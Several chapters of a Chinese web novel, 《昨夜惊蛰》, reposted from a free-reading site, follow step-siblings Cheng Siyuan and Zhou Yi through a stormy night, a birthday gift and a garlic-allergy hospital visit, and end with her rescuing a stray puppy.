程司远合了书,准备去储物室那条毯子,给那睡着的人盖一下。总不能让人家就这么睡到沙发上吧,第二天再感冒了,别说程毅和张舒欣那没办法交代,自己心里也不能好受。说到底,她的经历比起自己也差不到哪去。 心念至此,他刚抬脚走了一步,又听“卡嚓嚓”的一声雷响,虽说比刚刚小了不少,但他还是下意识紧张地看了一眼周依。见对方只是微微偏头,将脸又往书下藏了藏便没了动作。 程司远抬起下巴左右嗅了嗅,是有土腥味,但也只是淡淡的,也不至于这么难闻吧。难道她鼻子格外灵?或者对这个味道格外敏感?还是因为害怕打雷? 他脑子里飘了一堆有的没的破假设,最后摇着头,将这没用的假设都抛在脑后。径直走向阳台,确定窗户都管严了又伸手拉了窗帘。 这才抬腿向储物室走去,刚走了一半他忽然停了下来,犹豫一瞬又转身走向了阳台旁边的晾衣房。 他伸手拿了晾干还没来得及收的小毯子抖了抖,然后重新走回沙发边。 见周依睡的熟,程司远的动作也小心翼翼地。他把毯子轻盖在周依身上,又小心拿开盖在她脸上的书,顺势又将手里的毯子往她脖子里围了围。 睡梦中的周依像是被这毛茸茸的毯子给痒到了,缩了缩脖子。那被太阳晒过有的温暖感觉瞬间袭来,她微微蹙起的眉也舒缓不少,朝着毯子蹭了蹭便沉沉的睡去了。 程司远站在一边大气都不敢出,一来是觉得这行为多少有损他以往的形象,二来是怕把周依吵醒之后不好解释。 现在看到周依彻底睡着了,才彻底松了一口气。 这小孩儿属猫的吧,睡觉蹭来蹭去,还喜欢缩成一团。 他在心里吐槽。 只是小猫很尽责,可能是听到了他的心声,又往毯子上蹭了蹭,一副舒服模样。 雨声渐小,程司远抬头看了一眼墙上的钟表,已经十二多点了,雷公电母好像也到了生物钟,下班休息去了。 他从沙发上站起来缓缓伸了个懒腰,准备回去睡觉,忽然瞥见沙发下空空如也,嘴里无奈“啧”了一声,随后转身去门口拿了双拖鞋摆在沙发下,这才抬腿走回自己的房间。 大雨过后的第二天便是个晴空万里的好天气,但老天好像时不时就喜欢开开玩笑。 于是,恭喜熬夜两人组荣获迟到奖励。 十几岁年纪的少男少女,情绪总是来得快飞、去得快。挨骂也好夸奖也罢,只要嘻嘻哈哈一笑一闹,天大的事情也能消化的七七八八。 程司远因为迟到在学校挨了骂,虽然回家面子上没表现出来,但周依还是觉得他周身气压比平常又低了几分。罪魁祸首是不是她,她不知道,但任务在身不容她有其他选择。 那天之后,她一见到程司远就是“司远哥哥长,司远哥哥短的”,想尽办法逗他,哄他开心。 程司远倒也不是怪周依,是非明里他还是分得清,那天晚上哪怕自己随手扔给周依一条毯子,只要不让她冻着,也没人能说他什么。至于后来他为什么一个人在坐在沙发上不回去,那也纯粹属于个人行为,怪不得别人。 只是周依一副讨好自己的模样,他倒也觉得享受,至少每次到家等着他的不是冷冰冰,空荡荡的,就由着她去了。 这天放学,周依刚出校门就遇到了一个推着小车的老爷爷在卖奶黄包,顿时眼睛都亮了。忽然脑子一转,又想到她来这么久了,好像从来没有见程司远吃奶黄包。不会没吃过吧,要不给他买个尝尝?万一喜欢呢。 周依心里这么想,便打定主意,立马背着书包迈腿,快步跑过去问道:“爷爷、爷爷,奶黄包多少钱啊?” 那老爷爷摇着扇子,看见这小姑娘远远的就向自己跑来,不仅声音甜,说话还有礼貌,也顿觉得喜欢道:“两块五一个,我这奶黄包可甜了,要不要买一个尝尝啊?” 周依听了心里也跟着盘算,一个奶黄包两块五,那两个就是五块钱。她眼睛一亮,自己好像刚好有五块的样子。 她拿出钱包,开口对老爷爷说:“爷爷我要两个奶黄包!” 说着就拉开钱包,可她左摸摸右翻翻,脸色越来越黑,眉毛都皱了起来,到最后钱包里里外外也就只翻出来了四块钱。 正纳闷怎么少一块呢,突然想到今天上学的路上她好像是买了根棒棒糖。顿时不开心了,她后悔地直咂舌,暗道,完了,嘴馋碍大事。 那卖奶黄包的老爷爷看周依表情复杂,问道:“怎么啦小姑娘,是不是钱不够啊。” 周依被他说中了,有点尴尬,抿了抿嘴唇,说:“对不起啊爷爷,我不要两个了,你帮我拿一个吧,我钱不够,只有四块……” 她苦恼地揉了揉自己的钱包,打算忍痛割爱,买一个奶黄包留给程司远吃。 可能那老爷爷本就喜欢小孩儿,又或是见周依长得可爱,叫自己也是一口一个爷爷的,喜欢的不得了。他摆手笑道:“哎呀,没事儿,两个四块钱也可以。” 说着夹起两个奶黄包装进袋子里,递给了她。 周依眼睛都瞪大了,连忙伸手接过袋子,看着老爷爷满脸欢喜:“谢谢爷爷,谢谢爷爷,爷爷你真是太好了,嘻嘻。” 前后不过几秒,她那因为只能买一个奶黄包的惆怅,还没升起就烟消云散,高兴的一口大白牙遮都遮不住。忍不住心中呐喊,卖奶黄包都是好人! 周依和老爷爷摆了摆手,便一路小跑回家了。 但到家她却没有着急吃,就想着等程司远回来一起吃,想看他对奶黄包的评价,还有他吃奶黄包的样子,也一定很香吧。 周依左等等……右等等…… 就盼着程司远能赶紧回来。 她确实是忘了,程司远放学本来就比她晚,自己不用赶回来到家也比程司远要早。这下好了,她是要再等一会儿了。 周依眼巴巴的看着手里拿的奶黄包,只感觉自己的口水都要流下来了,实在忍不住就打开袋子闻了闻,好香。 在理智被馋欲打败前,她连忙撇开脸,手里动作抓紧连忙系好袋子。心中呜咽,欲哭无泪。 程司远,快回来啊…… 仰天长啸。 又等了好一会儿,程司远还是没回来。周依只怕再不回来奶黄包就凉了,凉了就不好吃了,她可不想因为这个,就让程司远觉得奶黄包不好吃。 烦恼之极,不由得在客厅左右踱步。突然,她脑子里灵光一现,随即伸手就把奶黄包揣进了自己衣服里,还满意地点点头,心道,这下总不会凉了吧,我可真聪明。 周依哼着歌正沾沾自喜呢,忽然“咔哒”一声,门响了。她喜出望外,猛的从沙发上跳下来,往门口跑去,喊道:“程司——啊、不对。” 这一不小心嘴也跑到脑子前面了,急的差点喊错,又改口道:“司远哥哥,你快来、快来,我买了好东西!” 程司远还没进来就听见这叽叽喳喳的声音,眉毛隐隐 7. 礼物 《昨夜惊蛰》全本免费阅读 周依突然一副“我明白了”的表情问程司远:“你不会……也买了吧!” “20秒。”程司远说。 周依疑惑地“啊?”了一声。 什么20秒?去买?来不及吧…… 还没等她问出口,就见程司远伸手拿过自己手里的袋子,径直走向厨房,侧着脸玩笑道:“微波炉啊。” “……”周依。 好吧,她确实是忘了家里还有微波炉可以用。她瘪了瘪嘴,突然想到刚刚把奶黄包揣进怀里的样子,顿时觉得羞耻极了,忍不住红了脸。 但嘴上依旧倔强地不行,一个字一个字地说道:“真、幼、稚、的、魔、术!” 程司远挑了挑眉,没等说话,微波炉发出“叮”的一声。热好了。 “是幼稚,但——”他端着奶黄包出来,看向周依说:“比你的有用点。” “你!”周依羞愤至极。 “别你了,快吃吧。”程司远将奶黄包包了层纸递给她:“有点烫。” 周依表面努嘴不屑地“切”了一声,但身体却是诚实,伸手急忙接过。她刚刚就馋的不行了,要不是为了等程司远,估计这会奶黄包都该消化完了。 也不管程司远说了什么,她张嘴就是一口。 “啊,好烫!” 果然,那刚加热好流动的奶黄馅被她这么一咬,流了出来,烫了个正着,脸上也粘了不少。 程司远似乎是惊讶地笑出声:“都跟你说了烫。” 说着,伸手抽了几张纸递给周依,嘴角似乎含着笑导:“心急吃不了热豆腐。” 周依接过擦了擦,脸上红扑扑的觉得有些尴尬,但嘴上还是不饶人:“我、我就喜欢吃烫的,干嘛?不行啊!” 程司远看着周依一脸不服的样子只觉得好笑,嘴角勾了勾道:“那你得食道癌的风险应该不小。” 心情确实不错。 周依皱了皱眉,心道,这说的都是什么啊。 下一秒就用自己刚刚擦过脸的纸包起另一个奶黄包,塞给程司远,说:“别说话了,快吃。” 吃还堵不住你的嘴。 程司远拿着奶黄包有一瞬的怔愣,像是在犹豫,但很快他又轻笑一声,浅浅咬了一口道:“谢谢啊。” 周依微动,心里仿佛开出花朵,甜甜的。跟奶黄包一样。 突然,脑子里灵光快闪而过,她笑着将奶黄包在程司远面前举了举,说:“司远哥哥,欢迎回家,干包!” 程司远嘴角微扬,拿起奶黄包碰了一下:“嗯,干包!” “小孩儿。”他说。 日子总是过得飞快,从春季嫩芽再到秋季的硕果也是不过一瞬。张舒欣跟程毅的公司也慢慢红火了起来,比之前又是忙了不少,甚至有的时候出差一去就是十天半月的不回家。 周依对程司远也没了最初的害怕,取而代之的是愈发亲近,觉得那人只是表面上冷冷的,刀子嘴豆腐心罢了。如果说一开始的“讨好”是为了让张舒欣开心,那现在却是更加自发了。或许成习惯了也说不定。 这天早上,程司远起床收拾好刚要准备去上学就被程毅突然叫住,说:“下午放学就先别回家了,今天依依生日。我跟你张阿姨商量过了,争取早点回来带你们去吃饭,位置我到时候发给你。” 程司远愣了愣,周依生日?他怎么不—— 还没想完,他突然意识就到自己好像从来没有在意过这个事,自然不知道。 他对程毅点点头,语气十分平淡道:“嗯,知道了。” 说完转身离开。 路上,程司远骑着车皱眉苦思。他在想,他要不要给周依送生日礼物,要是送,送什么呢? 正苦苦思索不得其解,突然一个声音传入了他的耳朵。 “喂!司远!喂!等等我——” 程司远转头循声望去,见自己好兄弟段梓坤在叫自己,瞬即刹了车,等他赶上自己。 “司远啊,叫你好几声了,不停就算了,怎么还越快越来了,躲我呢?累死我了……”段梓坤喘着大气,骑着自行车在程司远身边停了下来。 程司远白了他一眼,语气不屑道:“没听见你叫我。” 说着脚一用力,向前骑去。 段梓坤也骑车跟上,说:“那你想什么呢?有心事?” “没有。”程司远说。 段梓坤挑眉笑了笑,笃定道:“绝对有,快,跟你好兄弟我说说,我帮你分析分析。” 一副八卦的模样。 “没有。” “诶,诶,诶,你这可不行,对好兄弟隐瞒,我咒你以后娶不到老婆。”段梓坤不依不饶。 “……” 程司远无语,骑着自行车的脚凑着空踹了段梓坤一脚,没搭话。 段梓坤被踹的险些跌倒,冲他怒吼道:“我去,程司远你吖想害死我啊,这么凶干嘛,难不成又是被哪个女生堵着送情书了?” “我就该一脚踢翻你。”程司远白了他一眼说,“家里……不是多了个人嘛,今天她过生日。” 段梓坤一愣,随即挑眉问道:“那个小女孩?还是……” “嗯,小女孩。”程司远道。 段梓坤点头,眨了眨眼睛问:“所以呢?” “在想要不要送礼物。”程司远道。 段梓坤惊奇万分,用胳膊戳了戳程司远说:“不是,你不是不喜欢她嘛,怎么现在都考虑要不要给她送礼物了?” 程司远顿了顿,好像突然想到了什么,轻咳一声道:“也没有不喜欢吧,她……还行。” “还行是……”段梓坤故意拉长声音。 程司远有些尴尬,伸手摸了摸鼻子说:“之前不知道怎么相处。现在,还行。” 段梓坤嘴角勾了勾,另有深意朝着他地点了点头,心想,这个妹妹是个人物啊,居然能让程司远低头,不简单。 他正脑子里无限歪歪时,忽然又听到程司远的声音道:“礼物,有什么建议吗?” 段梓坤立即收回了无限歪歪,轻咳一声:“这你就问对人了。” 他假装老手一本正经的样子,甚至一脸“我言乃人间正道”的模样,说:“要我说啊,就送巧克力,女生不都是吃这个嘛。” “……”程司远。 见他不说话,段梓坤扬眉问道:“怎么,你不信?” 程司远斜眼看了他一眼,没有说话。不信。 这下段梓坤来了劲,非要说出个一二三来:“之前不总是有女生送你巧克力嘛,肯定是她们喜欢吃,不然也不会送给你啊。” 他顿了顿,又补充道:“要么就是糖啊什么的,人家送你什么,你照样子送给你家那人不就好了。” “……” 什么你家那人。 程司远一阵沉默,面对这样的鬼逻辑他无力辩解,简直是浪费口舌。顿时脚下用力,扬长而去。 段梓坤看他突然 8. 庆生 《昨夜惊蛰》全本免费阅读 周依点点头,小嘴一开一合地回道:“嗯,知道,他们好像开会去了还是什么的,好像很忙。” 她伸手指了指自己的房间,又说:“作业马上就写完了,今天的不多。” 说完,还嘻嘻的笑了两声。 “你不生气?”程司远问。 “啊?我为什么要生气?”周依抬眉看着程司远疑惑道:“他们忙,应该也没办法回来吧……” “可今天不是你生日嘛。” 周依眼睛一亮:“对啊!司远哥哥你居然知道,我还以为你不知道,真是太好了。” “什么太好了?” 周依抿了抿唇,笑了一下说:“因为这个世界上又多了一个知道我生日的人啊。” 但嘴角笑意,却未达眼底。 程司远看见她这样皱了皱眉,上前一步问道:“你还好吧。” 周依却下意识地后退一步,佯装无所谓道:“我很好啊,挺开心的。” 她嘴角的弧度微微下垂,像是苦笑道:“我知道妈妈他们很忙,顾不上我,但没关系,之前好几次我也都是一个人过的。” 程司远没有打断周依说话,只是静静地听着, “好早好早之前他们都不在家,如果在家也是经常吵架,后来我跟妈妈就搬出去了,那时她比现在还忙……” 周依眼眸下垂,本该遗忘的回忆再次席卷而来,说到最后声音也弱了几分。 程司远叹了口气,他突然就有种想伸手抱抱面前她的冲动。他感觉她快碎了。 他先前是有从程毅嘴里了解过张舒欣母女,虽然不多,但他也知道周依口中的“好早”是多早,“他们”又是谁。 他走到周依身边,俯身蹲下,声音好像也变得比之前温柔起来,说:“依依,生日快乐。” 说着,便把手中的礼物递给她。 周依身体一震,一脸难以置信地看着程司远。他叫我……依依? 一时间,她太过惊讶,完全忘记了动作,就那么呆愣愣地看着他。 程司远见周依没反应,拿着礼物在她面前晃了晃道:“依依?” 周依猛地回过神,脸“唰”的一下红了,眼睛睁的极大,慌乱地看着面前这个人,急忙伸手去接过,嘴里也是结结巴巴道:“这、这是给我的?” 程司远点点头,见她接过礼物腾出手摸了摸她的头发,说:“嗯,给你的。” 他顿了顿,又感觉有些难为情道:“别难过,我……我陪你过生日。” 一旁拿着礼物的周依像极了受惊的小猫,听到他说让自己别难过,连忙摇头,随后又听到说要陪自己过生日,又赶紧点头。这又是摇头又是点头的倒把程司远都逗笑了。 程司远喉咙微颤,轻轻发出一声低笑道:“你这是干嘛,一会儿摇头,一会儿又是点头的,拨浪鼓嘛?” 周依被说的有些尴尬,连着耳根也微微发烫起来。她拿起怀里的礼物挡在脸前,害羞道:“我才不是呢!司远哥哥,你笑话我!” 随后,她又猛地深吸一口气像是平复了心情,将礼物拿下来点,露出一点自己的脸说:“不会难过的,妈妈会记得买蛋糕给我的,况且——” 她看向程司远笑道:“司远哥哥能陪我过生日,还送了我礼物,妈妈知道肯定很开心,我也超开心的。” 房间里的光线暖暖的将周依的眼睛照的闪闪发光,她嘴角的笑意看得程司远有些失了神。 他本就不是一个心冷的人,说到底周依和他的处境其实也差不多,况且还小他三岁。一直让小孩儿主动,那也太不酷了。 他眼神柔了柔,对着周依说道:“快看看,喜欢不喜欢。” 礼物被不透明的包装袋裹着,周依并不知道里面是什么,但拿到手里的感觉应该是毛绒玩具? 她听了连连点头满心欢喜,好早之前她就想要一个毛绒玩具来着。心里这么想着,手便不停歇的去拆那系好的丝带。 “哇,好可爱的大象啊。”周依拿着玩偶很是开心道:“好软啊,它的眼睛也好可爱,我很喜欢。” 程司远见她喜欢不免松了口气,说:“喜欢就好。” 周依把那藕荷色的大象抱在怀里,爱不释手,噘了噘嘴自己的小嘴道:“当然喜欢,肯定喜欢,必然喜欢。” 说着又抱着那玩偶原地转了一圈,还在原地跳了两下,看来是真的很喜欢。 “太好了,我终于有毛绒玩具喽!” 终于? 程司远听到挑了挑眉,问:“你妈妈不买给你?” 四个人相处了这么久,他能感觉到张舒欣对周依上心程度,如果周依跟张舒欣要,张舒欣应该不会拒绝。既然这样,为什么是终于? 周依住了脚,拿着大象耳朵揉来揉去,说:“因为喜欢也不一定非要说啊,而且妈妈已经给我买很多东西了。她很累,我可以自己存钱的。” 程司远一怔,他没想道这个整天只会跟在自己身后的小孩儿还有这样的心思。惊讶之余又有些心疼,不免联想到了几年前—— 病房内,苏晴脸色苍白如纸,唇无一丝血色,好看的眉毛微微皱着,额头因疼痛时不时还有青筋凸起。她本就瘦弱,这在病魔的的折磨下更是显得病气十足。 苏晴坐卧在病床上,周身的仪器发出规律的“滴滴”声,她手上好像在刻着什么东西,“咔哒、咔哒”一声又是一声,像是不是疲倦。 “妈妈,你别刻了,你快躺下休息。”幼时的程司远拉着苏晴手,声音颤抖着想要阻止她这毫无意义的动作。 苏晴笑了笑,反手拉过程司远的手拍了拍,眼神中透着一如往常的随意与自若,说:“司远要过生日了,妈妈刻个相框送你当礼物好不好呀。” 声音细若游丝,听得程司远止不住的摇头,流水像是断了线珠子顺着脸颊缓缓滑落,劝阻得话卡在喉咙里不管他怎么努力,终究是没能再说。 九岁那年,他有了一个新相框,但却没有了妈妈。于是,他便拿着那新相框,一夜又一夜的思念。 喜欢也不一定要说嘛。 程司远垂眸遮住眼中的神色,心中泛起些许涟漪,他愈发觉得自己太过忽视眼前这个小孩儿了。仔细想想,她和那时的自己又有什么区别呢。 心脏中某个柔软处像是被人捏了一下,酸酸痛痛的,他闭了闭眼隐去眼底的苦涩,抬头对周依说道:“礼物拿了就回去写作业吧。” “嗯,知道了,我马上就写完了。”周依轻快地点了点头,刚转身往回走,突然又想到什么,顿住脚步转头说道:“司远哥哥,那我们晚上吃什么?” 程司远转头看了眼墙上挂着钟表,他蹙了蹙眉,快七点了,是该吃饭了。 周依歪着头眨巴着眼睛看着他,见对方没有说话只是两只手撸了撸袖子,随后像是觉得不合适又双双放了下去,然后伸手拉下拉锁,脱了外套。 她看着程司远的动作一脸不解,甚至觉得程司远脑子可能坏了,这忙手忙脚的是在干嘛? 还没等她问出口,那坏掉脑子的人就先开了口:“他们回来不知道几点了,今天我做饭。” “!!!” 周依一双眼睁得溜圆,嘴巴也不可思议地慢慢张开。什么?他说他做饭? 程司远瞥了一眼周依,说道:“你这什么表情?” “没、没什么。”周依回了神连忙摆手道:“就是没想到司远哥哥还会做饭,吓了一跳。” 程司远觉得有些尴尬,他 9. 威胁 《昨夜惊蛰》全本免费阅读 周依听闻眸光闪动。嗯?椒麻鸡?她还从来没吃过呢 于是,在好奇心和馋虫的共同驱使下,她偷偷上前一步,够着头向程司远身前看去,说:“听名字就知道一定非常好吃,司远哥哥这是快做好了吗?” 她的夸赞倒是不吝啬,情绪价值直接拉满。程司远上手的动作滞了滞,对身后道:“别抱这么大期望,我也第一次。” 声音还是冷冷淡淡的,好像并没有因为周依的话而发生变化。 但周依并不在意,冷清的语气听惯了要是忽然变一个那她才觉得奇怪。 她伸着鼻子嗅了嗅,只觉得自己的口水都要流出来了,心里也按不住的想道,辣的?麻的?好下饭的样子! 程司远侧眼看到周依那幅谗样子只觉哭笑不得,又怕自己做了会不合她口味,正所谓期望越大失望就越大,便开口问道:“你有什么忌口吗?” “忌口?”周依愣了愣。 “嗯,就是不吃的东西。” “……” 周依犹豫片刻,抿了抿唇说:“没有。” 程司远闻言,点了点头说:“快了。” 他手下动作迅速,先把鸡腿捞出,又带着手套把鸡腿撕开和蔬菜拌在一起。 周依见好了,这她哪还能闲得住,快一步走到电饭煲旁说:“那司远哥哥我盛米饭了。” 说完不等程司远反应,她就已经拿碗行动了。 程司远眉毛一跳,急忙回头查看,这一看他才突然意识到,这小个子最近好像长高了不少。他嘴角微微笑了笑,转过头完成了最后一步工序。 撒料、泼油。 “次啦啦……” 热油浇洒,香料的特殊香味也被激发出来,椒香浓郁,令人食欲大开。 程司远把做好的椒麻鸡端上桌,周依也盛好饭拿好筷子已经迫不及待地咽口水了。 程司远见她这幅谗样子也不想让她等急了,拉了椅子在一旁坐下,说:“吃吧,别馋了。” 周依拿着筷子,嘴上“嘿嘿”笑个不停,也不客气,夹起一块鸡肉就往嘴里塞,那小嘴都被塞得鼓鼓囊囊的。 这一口下去,五脏庙一下就得到了满足,她大眼圆睁连连点头。但碍于自己嘴被塞满了没办法说话,便就用拿着筷子的手对程司远大大的比了一个“赞”。 真好吃,原来椒麻鸡是这个味道啊,真厉害,天赋异禀啊! 周依心里疯狂夸赞。 程司远看她狼吞虎咽的样子,只觉得面前这人蠢萌蠢萌的,嘴角抑制不住地勾了勾笑,也夹起一块鸡肉吃起来。 可他还没吃几口,就听见那吃得正美的人忽然“咳、咳,咳”咳嗽个不停。 程司远急忙放下筷子给周依倒水,说:“慢点吃,呛到了?” 他把水递给周依,然后又伸手去拍她的背。周依喝了水,还是咳个不停,感觉呼吸都有点困难。 程司远看情况不皱了皱眉问:“太辣了?还是吃到花椒了?” 周依连连摇头,等咳得稍微平缓了些,她大口喘着气说:“不是……司远哥哥咳、咳咳、你里面放、蒜了?” 程司远愣了愣,说:“你不能吃蒜?” 周依又喝了几大口水,终于止住咳嗽,支嘴里支吾吾地说:“好像……是吧,我也不知道,就是每次吃我都会咳嗽,然后喉咙很难受,就是、就是呼吸很困难的感觉。” 程司远越听眉毛越是皱得紧,冷声道:“我刚刚问你了吧?” “啊?” 周依愣了一下没反应过来,啊完才有想起来刚刚程司远的话,继续道:“奥,我是没什么忌口啊,我能吃,但我的身体……好像不太喜欢。” 程司远:“???” 这是什么鬼逻辑?搞人格分裂呢? 他也不犹豫,立马放下手中的筷子伸手拉起一旁都周依就说:“别吃了,去医院。” 这反应听着像过敏,可是有人会对蒜过敏吗?况且他见张舒欣平时做饭也会时不时的放蒜啊,难道她也不知道?这小孩儿也没说过? 想到这,程司远的脸都黑了,过敏可不是闹着玩的,严重了是会死人的。 周依一听要带她去医院,应激般极速抽回自己的手,连退几步,一脸惊恐的看着程司远道:“不可能,我不去!” 她怕极了,去医院干什么!她才不要去医院,难不成要打针?不行不行,绝对不行! 程司远见手里一空,脸又阴了几分,抬头看向周依道:“你说不去就不去?” 周依下意识的邮往后退了一步,一脸誓死不从的模样说:“我就不去,我忍一会儿就好了。之前就是,又不是什么大问题。” 什么叫忍一会儿就好?之前就是?她把生命当什么! 程司远这时有再好的脾气也该怒了,况且他本身脾气好像也不是很好。 于是,他猛地上前一抓住周依的手,低声道:“我是在跟你商量吗?” 声音低沉透露着丝丝寒意,威胁的意味更是昭然若揭。周依本来就害怕医院,一听程司远又是威胁又是凶的,鼻尖酸了酸,眼泪都要止不住了,在眼眶里不停地打转。 她使劲扯动着被他握紧的手,哽咽道:“我不要去,你放开我!我不可能打针,我就是难受死,我也不打针!” “听话!不然我打电话叫医生来家里给你打针。” “???” 神经吧! 周依强忍着委屈一脸问号的看着程司远,挣扎着想再次把手从他手里抽走。但奈何这次那“神经”抓得紧,她抽了抽,挣扎半天最终也没能抽走。 她终于忍不住崩溃大哭,眼泪像断了绳的珍珠,啪嗒啪嗒的往下滴个不停,哭喊道:“程司远你坏蛋!你打电话吧!你让他来,来给我打针!哇哇哇哇……” 程司远:“……” 他也是太着急了,本意是想让周依乖一点,好跟他去医院,没真吓她的意思。现在好了,偷鸡不成蚀把米。 看着周依嚎啕不止程司远也手足无措起来,恨不得拍烂自己嘴。他连忙放缓声音,俯身安慰道:“好好好,我混蛋,依依听话,别哭了。” 周依听不见,依旧哭个不停。 “对不起,我刚刚不该凶你,是我说话太重了,我的错。” 周依还是听不见,仍然哭个不停。 “那我们不打针,就去医院看看怎么回事,看一眼就回来,绝对不打针。” “真的?”周依听见了 10. 验血 《昨夜惊蛰》全本免费阅读 怕医院、怕医生、怕打针吃药,就像是一个固定不变的设定,上到白发老人下到满月宝宝,看见穿白大褂的心里总是要犯一下怵。 周依小时候身体不好,风不能刮着雨不能淋着,太阳稍微毒一点都感觉胸闷气短,一感冒发烧就是十天半个月的好不了。没有公主命,公主病倒是不少。 张舒欣自然宝贝的紧,一有不舒服就整夜整夜的守着她。但周森又活脱像是个巨型婴儿,衣来伸手饭来张口,有点不顺心张嘴就骂,厌周依事多,嫌张舒欣没眼色的。说是废物都是看得起他。 如此这般就形成了只要周依一病倒,张舒欣就得忙得两边跑的局面。周依看在眼里即是心疼又是内疚,一来二去她也养成了一个习惯,不管自己难受不难受还是生病不生病,只要张舒欣没发现,那就是没有。 而现在的抽血化验,对她而言却是有点超纲了。 周依听医生说的脸都僵了,得多疼啊,这不比打针疼? 她心中警铃大作,想撒腿就跑,打算先直走出门,然后左转,最后头也不回地往家跑! 程司远跑得快是吧,她跑的也不慢,到时候不一定就能追上自己。 周依眼眶里的眼睛滴溜溜地转,心中暗暗打下注意。 一旁的程司远轻抿着唇看着她没有说话,不用想,肯定是在打什么坏主意了。 莫不是想逃跑?他可不允许! 正在周依心里无限歪歪逃跑路线时,突然感觉手臂一紧,她下意识的回头看过去,就见程司远一脸紧绷得伸手抓着自己。 周依一惊,急忙用力想抽出自己的手,却听那人压低喉咙声音低沉的对自己说:“别想逃,我可抓着你呢。” 行,计划泡汤。 这下周依那还顾得上其他,硬着头皮就往外冲。也不知道她那来那么大力气,程司远硬是被她拽得走出了诊室门。倔得像头牛。 刚出了门就听见“那牛”吼道:“你放开我!我不要抽血,我不要!” 说着还用力甩着自己被程司远拉着的“蹄子”,但奈何对方抓得紧,倔牛甩了半天愣是没甩开。 倔牛生气,倔牛不服,倔牛再甩。 程司远看这祖宗又开始尥蹶子了,也是头疼的厉害,他可不想在医院上演一出“斗牛”大戏。于是,他手一用力,往怀里一拽把周依抱了满怀,任她怎么在自己的怀里扑腾。 “在医院别喊,小声点。”程司远低沉的声音在耳边响起。 周依吓得一惊,当即意识到了自己的不合时宜,立马住了嘴也不扑腾了。在程司远怀里僵了僵,她只觉得自己双颊滚烫,不知道是因为情绪波动太大还是其他什么原因,眼睛里也有眼泪在婆娑,声音委屈极了,仰头说道:“司远哥哥,我、我能不抽血嘛?” 程司远与她对视一眼,心里不免软了几分,但嘴上还是不客气:“不能。” “你!” 周依被气的有些无语,鼻腔里发出“哼”的一声,转头不说话了。但那起伏不平的呼吸像是无声的宣言,倾诉着主人的不满与害怕。 程司远暗暗叹口了气,说:“别怕,抽血不疼,一会就好,我陪着你。” 他其实不太擅长哄人,但没想到这段时间跟周依相处下来,他这哄人的本事见长,眼看也是一套一套的,颇有得心应手的意思。 周依听着没有说话,她觉得她今天是逃不掉了。眼一闭,认命了。 程司远见怀里没了动静,刚想松开抱着她的手,转念又想到万一这小孩儿使炸怎么办,自己这刚松手,她那转身就跑。他可不想在医院跑着去追她。 他动作滞了滞,最终还是不放心的没有松开抱着周依的手,只是稍微松了松,没一开始抱得那么紧了。 他垂眸看她可怜兮兮的样子,又说不出来觉得滑稽。还真有蒜过敏的人啊。 程司远喉咙微微滚动一下像是在压制笑意,对怀中的人说:“抽完血给你买奶黄包怎么样?” 他刚说完就感觉怀里的人动了动,随即就听到周依的声音:“真的?你不骗我?”甚至还透着点期待。 “嗯,真的,不骗。” “那小蛋糕呢?” “也有。” “那棒棒糖呢?” “???” 程司远低头一看,只见那刚刚还因为要抽血眼泪汪汪的小孩儿,现在竟是一脸……诡计? 周依一脸无所畏惧,都要抽血了还不允许人当当无赖了? 程司远真是要被她逗笑了,说:“也有。” 不管怎么样,能答应抽血那就是进步。进步当然要有奖励。 于是—— “棒棒糖要牛乳味儿的。”周依说。 程司远应声:“好。” “小蛋糕要提拉米苏。” “好。” “奶黄包要两个!” “噗哧。”程司远笑出声道:“好,那我都答应了,你是不是要跟我走了?” 周依看着朝自己伸过来的手有些犹豫,但得了便宜也不好再继续闹别扭,她瘪了瘪嘴,还是把自己的手递了出去,安静的被他拉着跟在后面。 要说程司远有没有骗她,好像还真没有,她确实是没有打针。可话又说回来了,这抽血跟打针好像也没什么区别,甚至比打针还可怕…… 周依真是欲哭无泪,虽说她是有了棒棒糖、抹茶蛋糕和两个奶黄包做后盾,但怕还是照样怕,并没有因为那后盾而减少一分。以至于都到了采血点她还死拽着程司远手不放。 程司远哪能不知道她的心思,自然是没有离开。 采血点一个窗口只有一个椅子,采完直接走。 程司远皱眉看了一眼那个椅子,动作没有犹豫,一屁股就坐在了那个椅子上。 “啊?”周依站在一边看到有些不知所措。 “啊什么?” 程司远刚说完周依还没来得及反应,突然她感觉身体一轻。被程司远抱在了腿上! “你……你干嘛啊。” 周依被程司远的举动吓了一跳,说着就开始扭动着身体往下滑。 “别动,坐好。”程司远说。 声音依旧清冷,周依下滑的身体滞了一瞬,脸上显出两抹绯红,微微颔首声音也好像掺杂几分害羞道:“司远哥哥?” 程司远没有搭理她,自然也没发现那声音的不同,就怕这小孩儿又趁自己不注意一个抽身溜走。这好不容易连哄带骗的领到跟前,差临门一脚了,再溜了? 他可不答应。 于是,伸手又把周依往自己腿上抱了抱,一只手紧搂着她,另一只手将她的手臂递给护士,说:“不好意思,麻烦您了。” 对面的护士笑了一下:“你们兄妹俩人的感情还真是好,哥哥这么负责呢。” 周依被按在怀里不能动弹,听到护士姐姐这么说耳尖也微微发烫。她本来就长得白,这一抹红在她身上更是明显 11. 修狗 《昨夜惊蛰》全本免费阅读 检查结果很快就出来了,医生得结论是周依对“鳞茎类”食物过敏。 这意思大概就是她对蒜、洋葱、韭菜、大葱,蒜苔这一类的都过敏。 周依自己不以为然,反正那些东西她本来也不喜欢吃,反倒是暗暗庆幸,还好自己不是对零食过敏。毕竟饭可以不吃,零食不能没有,那是快乐的源泉啊。 但听到结论的程司远则是脸黑了又黑,看着满不在乎的周依一阵无语。过敏的东西一大堆,不喜欢的东西也是一大堆,这小孩儿吃什么长大?能长大嘛…… 那当然是吃饭了,还有,谁说不能长大? 时间是个神奇的东西,慢的时候一分钟都像是盼不到头,等快了几年又像是一眨眼。 你看看如今周依也已经上了中学,曾经稚嫩的小脸如今也满满的少女气息,瞳孔清澈明亮,白皙无暇的皮肤透出淡淡红粉。 “小狗狗,你怎么在这呀,是迷路了嘛?” 瞧她正蹲在马路边跟一只小狗讲话:“别在这待着呀,太危险了,咱们走。” 声音柔美婉转,煞是好听。 说着双手一用力,便把那只小狗从马路边抱到了一棵树下。但不知道那小狗是不是因为怕人,嘴里呜咽着身体也止不住的发抖。 周依轻揉着那小狗的头,柔声道:“别怕,别怕,我不会伤害你的。” 小狗被她抚摸地也慢慢的镇定下来,靠着大树缩成一团,喉咙里还发出“呜,呜,呜”的声音。 周依也不清楚是这只小狗怎么了,只是本能的觉得它应该是饿了,便伸手从书包里掏出来钱包,轻声对那小狗说道:“你别急,等我一会儿哈。” 话音刚落,转身就跑去一旁的商店买吃的了。 